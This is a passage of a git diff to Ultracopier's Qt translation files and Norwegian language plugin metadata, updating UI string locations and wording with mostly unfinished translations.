+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/no/flag.png b/plugins/Languages/no/flag.png
index 36e2636..16ec28a 100644
--- a/plugins/Languages/no/flag.png
+++ b/plugins/Languages/no/flag.png
Binary files differ
diff --git a/plugins/Languages/no/informations.xml b/plugins/Languages/no/informations.xml
index 14d4182..e1a0a1a 100644
--- a/plugins/Languages/no/informations.xml
+++ b/plugins/Languages/no/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to norwegian. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to norwegian. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>no</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/no/translation.ts b/plugins/Languages/no/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/no/translation.ts
+++ b/plugins/Languages/no/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
